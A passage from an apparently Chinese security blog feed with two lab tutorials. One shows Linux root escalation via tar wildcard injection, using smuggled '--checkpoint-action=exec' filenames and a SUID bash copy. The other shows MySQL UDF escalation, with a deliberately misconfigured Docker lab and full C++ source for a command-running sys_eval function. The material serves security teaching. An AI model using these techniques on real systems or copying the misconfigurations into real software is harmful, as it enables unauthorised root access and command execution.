可以使用连字符-表示范围，比如[0-9]</span></span></code></pre>\n<p>假设有这么一条命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>tar -czf /tmp/backup.tar.gz *</span></span></code></pre>\n<p>他的意思是把当前目录下的所有文件打包，但是在Linux shell中，<code>*</code>会首先被shell展开成当前目录下的为文件名，假设目录下有这些文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>a.txt</span></span>\n<span class=\"line\"><span>b.txt</span></span>\n<span class=\"line\"><span>--checkpoint=1</span></span>\n<span class=\"line\"><span>--checkpoint-action=exec=sh shell.sh</span></span></code></pre>\n<p>那么上述命令实际上会变成类似：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>tar -czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh a.txt b.txt</span></span></code></pre>\n<p>然而</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>--checkpoint=1</span></span>\n<span class=\"line\"><span>--checkpoint-action=exec=sh shell.sh</span></span></code></pre>\n<p>这两个文件会被<code>tar</code>当作参数而不是普通文件名</p>\n<p>其中<code>--checkpoint-action=exec=sh shell.sh</code>会让<code>tar</code>执行<code>sh shell.sh</code>，如果这个<code>tar</code>是由root的计划任务执行的，那么<code>shell.sh</code>也会以root执行</p>\n<p>其需要满足：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>1. 有 root 或高权限用户执行的脚本</span></span>\n<span class=\"line\"><span>2. 脚本中使用了通配符 *</span></span>\n<span class=\"line\"><span>3. 通配符作用的目录普通用户可写</span></span>\n<span class=\"line\"><span>4. 使用的命令会把特殊文件名当作参数</span></span>\n<span class=\"line\"><span>5. 普通用户能创建特殊文件名</span></span></code></pre>\n<h3 id=\"本地靶场搭建-3\"><a class=\"anchor\" href=\"#本地靶场搭建-3\">#</a> 本地靶场搭建</h3>\n<p>沿用suiduser低权限用户</p>\n<p>首先我们创建一个普通用户可写的目录：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo mkdir -p /opt/wildcard-lab/input</span></span>\n<span class=\"line\"><span>sudo chmod 777 /opt/wildcard-lab/input</span></span>\n<span class=\"line\"><span>ls -ld /opt/wildcard-lab/input</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/44.png\" class=\"\"></p>\n<p>这样root脚本会用<code>*</code>代替这个目录的所有文件，而普通用户可以往这个目录里写文件</p>\n<p>创建root备份脚本</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat &#x3C;&#x3C; 'EOF' | sudo tee /opt/wildcard-lab/backup.sh</span></span>\n<span class=\"line\"><span>#!/bin/bash</span></span>\n<span class=\"line\"><span>cd /opt/wildcard-lab/input</span></span>\n<span class=\"line\"><span>tar -czf /tmp/wildcard-backup.tar.gz *</span></span>\n<span class=\"line\"><span>EOF</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>sudo chmod 755 /opt/wildcard-lab/backup.sh</span></span>\n<span class=\"line\"><span>ls -l /opt/wildcard-lab/backup.sh</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/45.png\" class=\"\"></p>\n<p>这个执行脚本与之前提到的777不同之处在于，在通配符提权中我们不需要对执行脚本做修改</p>\n<p>接下来我们配置计划任务：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat &#x3C;&#x3C; 'EOF' | sudo tee /etc/cron.d/wildcard-lab</span></span>\n<span class=\"line\"><span>* * * * * root /opt/wildcard-lab/backup.sh</span></span>\n<span class=\"line\"><span>EOF</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>sudo chmod 644 /etc/cron.d/wildcard-lab</span></span>\n<span class=\"line\"><span>cat /etc/cron.d/wildcard-lab</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/46.png\" class=\"\"></p>\n<h3 id=\"提权流程-5\"><a class=\"anchor\" href=\"#提权流程-5\">#</a> 提权流程</h3>\n<p>接下来我们以suiduser身份去实现提权</p>\n<p>真实渗透场景我们还是需要先查看计划任务文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat /etc/cron.d/wildcard-lab</span></span>\n<span class=\"line\"><span>或其他的类似于</span></span>\n<span class=\"line\"><span>cat /etc/cron*</span></span></code></pre>\n<p>我们进入可写目录<code>/opt/wildcard-lab/input</code>创建一个被root执行的脚本<code>shell.sh</code>并赋予其执行权限：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat > shell.sh &#x3C;&#x3C; 'EOF'</span></span>\n<span class=\"line\"><span>#!/bin/bash</span></span>\n<span class=\"line\"><span>cp /bin/bash /tmp/rootbash</span></span>\n<span class=\"line\"><span>chmod 4755 /tmp/rootbash</span></span>\n<span class=\"line\"><span>EOF</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>chmod +x shell.sh</span></span></code></pre>\n<p>依然是复制<code>/bin/bash</code>到<code>/tmp/rootbash</code>，然后给复制后的文件设置SUID权限</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/47.png\" class=\"\"></p>\n<p>防止之前的复制文件对本次实验结果产生干扰我们先删除<code>/tmp/rootbash</code></p>\n<p>接下来我们需要创建特殊文件名，使得计划任务在执行脚本的时候将特殊文件名当作参数：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>touch -- \"--checkpoint=1\"</span></span>\n<span class=\"line\"><span>touch -- \"--checkpoint-action=exec=sh shell.sh\"</span></span></code></pre>\n<p>这里的<code>--</code>表示后面的内容都当做文件名而不是参数</p>\n<p><code>ls -la</code>可以看到：</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/48.png\" class=\"\"></p>\n<p>等待一分钟之后我们尝试执行<code>ls -l /tmp/rootbash</code></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/49.png\" class=\"\"></p>\n<p>接下来我们就可以执行<code>/tmp/rootbash -p</code>实现提权了</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/50.png\" class=\"\"></p>\n",
            "tags": []
        },
        {
            "id": "https://zlaryy.top/2026/06/18/SQL%E6%8F%90%E6%9D%83/",
            "url": "https://zlaryy.top/2026/06/18/SQL%E6%8F%90%E6%9D%83/",
            "title": "SQL提权",
            "date_published": "2026-06-18T12:10:00.000Z",
            "content_html": "<h1 id=\"sql提权\"><a class=\"anchor\" href=\"#sql提权\">#</a> SQL提权</h1>\n<p>学完了各种数据库的注入手法，接下来这篇文章我们一起学习一下什么是SQL提权</p>\n<p><strong>垂直提权</strong>：指从低权限身份到高权限身份，比如从普通用户到管理员</p>\n<p><strong>水平越权</strong>：严格来说不叫做提权，指的是用户A能够访问用户B的数据，没有变成管理员但是越过了自己的权限边界</p>\n<p><strong>数据库到系统权限</strong>：原本是数据库权限，通过数据库的危险功能或错误配置今日影响服务器文件系统或操作系统</p>\n<h1 id=\"mysql\"><a class=\"anchor\" href=\"#mysql\">#</a> MySQL</h1>\n<h2 id=\"udf提权\"><a class=\"anchor\" href=\"#udf提权\">#</a> UDF提权</h2>\n<p>UDF提权不是“直接把MySQL用户变成root”，更准确的说是让拥有危险数据库权限的账号，把自定义<code>.so</code>动态库加载进<code>mysqld</code>进程，从而获得mysqld运行账户的系统命令执行能力</p>\n<p>所以UDF提权通常是<strong>数据库权限到操作系统命令权限</strong></p>\n<p>如果mysqld是以mysql用户运行，那么命令也是以mysql用户 执行，只有在极端错误配置下，比如mysqld以root运行，才可能直接变成root。</p>\n<h3 id=\"本地靶场搭建\"><a class=\"anchor\" href=\"#本地靶场搭建\">#</a> 本地靶场搭建</h3>\n<p>我们在本地创建文件夹，在里面存放五个文件，参考命名和结构如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>mysql_udf_lab</span></span>\n<span class=\"line\"><span>├── docker-compose.yml</span></span>\n<span class=\"line\"><span>├── Dockerfile</span></span>\n<span class=\"line\"><span>├── mysqld.cnf</span></span>\n<span class=\"line\"><span>├── init.sql</span></span>\n<span class=\"line\"><span>└── udf_eval.cc</span></span></code></pre>\n<p>将以下内容复制进<code>docker-compose.yml</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>services:</span></span>\n<span class=\"line\"><span>  mysql:</span></span>\n<span class=\"line\"><span>    build: .</span></span>\n<span class=\"line\"><span>    container_name: mysql-udf-lab</span></span>\n<span class=\"line\"><span>    ports:</span></span>\n<span class=\"line\"><span>      - \"127.0.0.1:3308:3306\"</span></span>\n<span class=\"line\"><span>    environment:</span></span>\n<span class=\"line\"><span>      MYSQL_ROOT_PASSWORD: rootpass</span></span>\n<span class=\"line\"><span>      MYSQL_DATABASE: appdb</span></span>\n<span class=\"line\"><span>    volumes:</span></span>\n<span class=\"line\"><span>      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro</span></span></code></pre>\n<p>这里把MySQL只绑定到<code>127.0.0.1:3308</code></p>\n<p>然后创建mysqld.cnf：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>[mysqld]</span></span>\n<span class=\"line\"><span>secure-file-priv=</span></span>\n<span class=\"line\"><span>plugin-dir=/usr/lib/mysql/plugin</span></span>\n<span class=\"line\"><span>skip-log-bin</span></span></code></pre>\n<p>这里留下漏洞<code>secure-file-priv=</code>：表示不限制MySQL文件导入导出目录，MySQL官方文档说明，<code>secure-file-priv</code>用来限制<code>LOAD DATA</code>、<code>SELECT ... INTO OUTFILE</code>和<code>LOAD_FILE()</code>等文件操作，如果为空就不起限制作用</p>\n<p>创建init.sql：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>CREATE TABLE appdb.users (</span></span>\n<span class=\"line\"><span>    id INT PRIMARY KEY AUTO_INCREMENT,</span></span>\n<span class=\"line\"><span>    username VARCHAR(50),</span></span>\n<span class=\"line\"><span>    password VARCHAR(100)</span></span>\n<span class=\"line\"><span>);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>INSERT INTO appdb.users(username, password) VALUES</span></span>\n<span class=\"line\"><span>('admin', 'admin123'),</span></span>\n<span class=\"line\"><span>('guest', 'guest123'),</span></span>\n<span class=\"line\"><span>('flag', 'ZLARYY&#123;local_udf_realistic_lab&#125;');</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>CREATE USER 'webapp'@'%' IDENTIFIED BY 'webpass';</span></span>\n<span class=\"line\"><span>GRANT SELECT, INSERT, UPDATE ON appdb.* TO 'webapp'@'%';</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>CREATE USER 'misconf'@'%' IDENTIFIED BY 'misconfpass';</span></span>\n<span class=\"line\"><span>GRANT SELECT, INSERT, UPDATE ON appdb.* TO 'misconf'@'%';</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>-- 故意给危险权限</span></span>\n<span class=\"line\"><span>GRANT FILE ON *.* TO 'misconf'@'%';</span></span>\n<span class=\"line\"><span>GRANT INSERT ON mysql.* TO 'misconf'@'%';</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>FLUSH PRIVILEGES;</span></span></code></pre>\n<p>创建Dockerfile：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>FROM mysql:8.4</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>USER root</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>RUN printf '[mysqld]\\nsecure-file-priv=\\nplugin-dir=/usr/lib/mysql/plugin\\nskip-log-bin\\n' > /etc/mysql/conf.d/mysqld.cnf \\</span></span>\n<span class=\"line\"><span>    &#x26;&#x26; chmod 644 /etc/mysql/conf.d/mysqld.cnf \\</span></span>\n<span class=\"line\"><span>    &#x26;&#x26; mkdir -p /usr/lib/mysql/plugin \\</span></span>\n<span class=\"line\"><span>    &#x26;&#x26; chown -R mysql:mysql /usr/lib/mysql/plugin \\</span></span>\n<span class=\"line\"><span>    &#x26;&#x26; chmod 777 /usr/lib/mysql/plugin</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>USER mysql</span></span></code></pre>\n<p>启动靶场：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker compose up -d --build</span></span></code></pre>\n<p>以misconf身份进入MySQL：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>docker exec -it mysql-udf-real-lab mysql -umisconf -pmisconfpass</span></span></code></pre>\n<h3 id=\"准备udf动态库\"><a class=\"anchor\" href=\"#准备udf动态库\">#</a> 准备UDF动态库</h3>\n<p>在虚拟机里可以创建一个文件夹存放<code>udf_eval.cc</code>文件，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>mkdir attacker_udf</span></span>\n<span class=\"line\"><span>cd attacker_udf</span></span>\n<span class=\"line\"><span>vim udf_eval.cc</span></span></code></pre>\n<p>将以下内容写入udf_eval.cc：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#include &#x3C;mysql.h></span></span>\n<span class=\"line\"><span>#include &#x3C;cstdio></span></span>\n<span class=\"line\"><span>#include &#x3C;cstdlib></span></span>\n<span class=\"line\"><span>#include &#x3C;cstring></span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>extern \"C\" &#123;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>bool sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) &#123;</span></span>\n<span class=\"line\"><span>    if (args->arg_count != 1) &#123;</span></span>\n<span class=\"line\"><span>        std::strcpy(message, \"sys_eval() requires exactly one argument\");</span></span>\n<span class=\"line\"><span>        return true;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    args->arg_type[0] = STRING_RESULT;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    initid->maybe_null = true;</span></span>\n<span class=\"line\"><span>    initid->max_length = 8192;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    initid->ptr = static_cast&#x3C;char *>(std::malloc(8192));</span></span>\n<span class=\"line\"><span>    if (initid->ptr == nullptr) &#123;</span></span>\n<span class=\"line\"><span>        std::strcpy(message, \"malloc failed\");</span></span>\n<span class=\"line\"><span>        return true;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    std::memset(initid->ptr, 0, 8192);</span></span>\n<span class=\"line\"><span>    return false;</span></span>\n<span class=\"line\"><span>&#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>void sys_eval_deinit(UDF_INIT *initid) &#123;</span></span>\n<span class=\"line\"><span>    if (initid->ptr != nullptr) &#123;</span></span>\n<span class=\"line\"><span>        std::free(initid->ptr);</span></span>\n<span class=\"line\"><span>        initid->ptr = nullptr;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span>&#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>char *sys_eval(</span></span>\n<span class=\"line\"><span>    UDF_INIT *initid,</span></span>\n<span class=\"line\"><span>    UDF_ARGS *args,</span></span>\n<span class=\"line\"><span>    char *result,</span></span>\n<span class=\"line\"><span>    unsigned long *length,</span></span>\n<span class=\"line\"><span>    char *is_null,</span></span>\n<span class=\"line\"><span>    char *error</span></span>\n<span class=\"line\"><span>) &#123;</span></span>\n<span class=\"line\"><span>    char *buffer = initid->ptr;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    if (buffer == nullptr) &#123;</span></span>\n<span class=\"line\"><span>        *error = 1;</span></span>\n<span class=\"line\"><span>        return nullptr;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    std::memset(buffer, 0, 8192);</span></span>\n<span class=\"line\"><span>    *is_null = 0;</span></span>\n<span class=\"line\"><span>    *error = 0;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    if (args->args[0] == nullptr) &#123;</span></span>\n<span class=\"line\"><span>        const char *msg = \"argument is NULL\";</span></span>\n<span class=\"line\"><span>        std::strncpy(buffer, msg, 8191);</span></span>\n<span class=\"line\"><span>        *length = std::strlen(buffer);</span></span>\n<span class=\"line\"><span>        return buffer;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    unsigned long cmd_len = args->lengths[0];</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    /*</span></span>\n<span class=\"line\"><span>     * args->args[0] 不一定是以 \\0 结尾的 C 字符串，</span></span>\n<span class=\"line\"><span>     * 所以这里手动复制并补 \\0。</span></span>\n<span class=\"line\"><span>     *</span></span>\n<span class=\"line\"><span>     * 额外追加 \" 2>&#x26;1\"，这样可以把 stderr 也捕获回来，</span></span>\n<span class=\"line\"><span>     * 方便看到命令错误信息。</span></span>\n<span class=\"line\"><span>     */</span></span>\n<span class=\"line\"><span>    const char *redirect = \" 2>&#x26;1\";</span></span>\n<span class=\"line\"><span>    size_t redirect_len = std::strlen(redirect);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    char *cmd = static_cast&#x3C;char *>(std::malloc(cmd_len + redirect_len + 1));</span></span>\n<span class=\"line\"><span>    if (cmd == nullptr) &#123;</span></span>\n<span class=\"line\"><span>        const char *msg = \"malloc command buffer failed\";</span></span>\n<span class=\"line\"><span>        std::strncpy(buffer, msg, 8191);</span></span>\n<span class=\"line\"><span>        *length = std::strlen(buffer);</span></span>\n<span class=\"line\"><span>        return buffer;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    std::memcpy(cmd, args->args[0], cmd_len);</span></span>\n<span class=\"line\"><span>    std::memcpy(cmd + cmd_len, redirect, redirect_len);</span></span>\n<span class=\"line\"><span>    cmd[cmd_len + redirect_len] = '\\0';</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    FILE *fp = popen(cmd, \"r\");</span></span>\n<span class=\"line\"><span>    std::free(cmd);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    if (fp == nullptr) &#123;</span></span>\n<span class=\"line\"><span>        const char *msg = \"popen failed\";</span></span>\n<span class=\"line\"><span>        std::strncpy(buffer, msg, 8191);</span></span>\n<span class=\"line\"><span>        *length = std::strlen(buffer);</span></span>\n<span class=\"line\"><span>        return buffer;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    char temp[512];</span></span>\n<span class=\"line\"><span>    size_t total = 0;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    while (std::fgets(temp, sizeof(temp), fp) != nullptr) &#123;</span></span>\n<span class=\"line\"><span>        size_t len = std::strlen(temp);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>        if (total + len >= 8191) &#123;</span></span>\n<span class=\"line\"><span>            len = 8191 - total;</span></span>\n<span class=\"line\"><span>        &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>        std::memcpy(buffer + total, temp, len);</span></span>\n<span class=\"line\"><span>        total += len;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>        if (total >= 8191) &#123;</span></span>\n<span class=\"line\"><span>            break;</span></span>\n<span class=\"line\"><span>        &#125;</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    int status = pclose(fp);</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    if (total == 0) &#123;</span></span>\n<span class=\"line\"><span>        std::snprintf(buffer, 8192, \"[no output], command status: %d\", status);</span></span>\n<span class=\"line\"><span>        total = std::strlen(buffer);</span></span>\n<span class=\"line\"><span>    &#125; else &#123;</span></span>\n<span class=\"line\"><span>        buffer[total] = '\\0';</span></span>\n<span class=\"line\"><span>    &#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>    *length = static_cast&#x3C;unsigned long>(total);</span></span>\n<span class=\"line\"><span>    return buffer;</span></span>\n<span class=\"line\"><span>&#125;</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<p>安装编译依赖：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo apt update</span></span>\n<span class=\"line\"><span>sudo apt install -y g++ default-libmysqlclient-dev</span></span></code></pre>\n<p>编译：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>g++ -Wall -fPIC -shared \\</span></span>\n<span class=\"line\"><span>  -I/usr/include/mysql \\</span></span>\n<span class=\"line\"><span>  -o lib_udf_lab.so \\</span></span>\n<span class=\"line\"><span>  udf_eval.cc</span></span></code></pre>\n<p>查看文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>file lib_udf_lab.so</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>#应该类似lib_udf_lab.so: ELF 64-bit LSB shared object, x86-64</span></span></code></pre>\n<h3 id=\"udf提权原理\"><a class=\"anchor\" href=\"#udf提权原理\">#</a> UDF提权原理</h3>\n<p>在MySQL中存在一个错误配置账号<code>misconf</code>，它拥有<code>FILE</code>、<code>mysql.* INSERT</code>等危险权限，并且目标环境的<code>secure_file_priv</code>不限制写入路径、<code>plugin_dir</code>可写，攻击者可以先将自己编译好的UDF动态库<code>lib_udf_lab.so</code>转为十六进制，然后通过<code>select ... into dumpfile /usr/lib/mysql/plugin/lib_udf_lab.so</code>将<code>lib_udf_lab.so</code>写入MySQL插件目录，之后我们可以通过<code>create function sys_eval ... soname 'lib_udf_lab.so'</code>注册自定义UDF函数，MySQL的mysqld进程加载<code>.so</code>动态库之后调用<code>sys_eval()</code>函数触发其内部的<code>system(&quot;id&quot;)</code>调用UDF内部的<code>system()</code>从而实现以<code>mysqld</code>进程用户身份执行系统命令</p>\n<h3 id=\"提权流程\"><a class=\"anchor\" href=\"#提权流程\">#</a> 提权流程</h3>\n<p>在真实测试中，我们需要检查当前用户是否具备写入文件权限和<code>secure_file_priv</code>是否为空：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SHOW GRANTS;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/1.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GRANT FILE ON *.* TO `misconf`@`%`</span></span>\n<span class=\"line\"><span># 表明misconf用户具有FILE权限，这个权限作用于所有的数据库，所有对象(*.*)</span></span></code></pre>\n<p>FILE权限是服务器文件读写权限，它允许<code>select load_file('/etc/passwd');</code>或者<code>select 'test' into outfile '/tmp/test.txt'</code>等</p>\n<p>在UDF提权中，这个权限用于把<code>lib_udf_lab.so</code>写入<code>plugin_dir</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GRANT SELECT, INSERT, UPDATE ON `appdb`.* TO `misconf`@`%`</span></span>\n<span class=\"line\"><span># 表明misconf用户对appdb数据库里的所有表拥有select、insert、update权限</span></span></code></pre>\n<p>它可以执行<code>select * from appdb.users;</code>或者<code>insert into appdb.users(username,password) values('ZLARYY','2L@yY');</code>或者<code>update appdb.users set password='2L4yY' where usermame='ZLARYY';</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>GRANT INSERT ON `mysql`.* TO `misconf`@`%`</span></span>\n<span class=\"line\"><span># 表明misconf对mysql系统库里的所有表拥有insert权限</span></span></code></pre>\n<p>这一行权限允许<code>create function</code>往<code>mysql.func</code>中注册函数信息</p>\n<p>所以UDF提权的核心就是拥有写入文件权限和通过<code>create function</code>注册函数信息</p>\n<p>接下来需要查看<code>plugin_dir</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>SELECT @@plugin_dir;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/18/SQL%E6%8F%90%E6%9D%83/2.png\" class=\"\"></p>\n<p>MySQL的UDF是可加载函数，本质是一个动态库，Linux下是<code>.so</code>，Windows下是<code>.dll</code>。MySQL不是从任意目录加载UDF，而是从<code>plugin_dir</code>指定的插件目录加载，库文件名需要对应平台动态库文件（Linux对应<code>.so</code>），并且函数会被加载到服务器中立即可用</p>\n<p>所以：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" 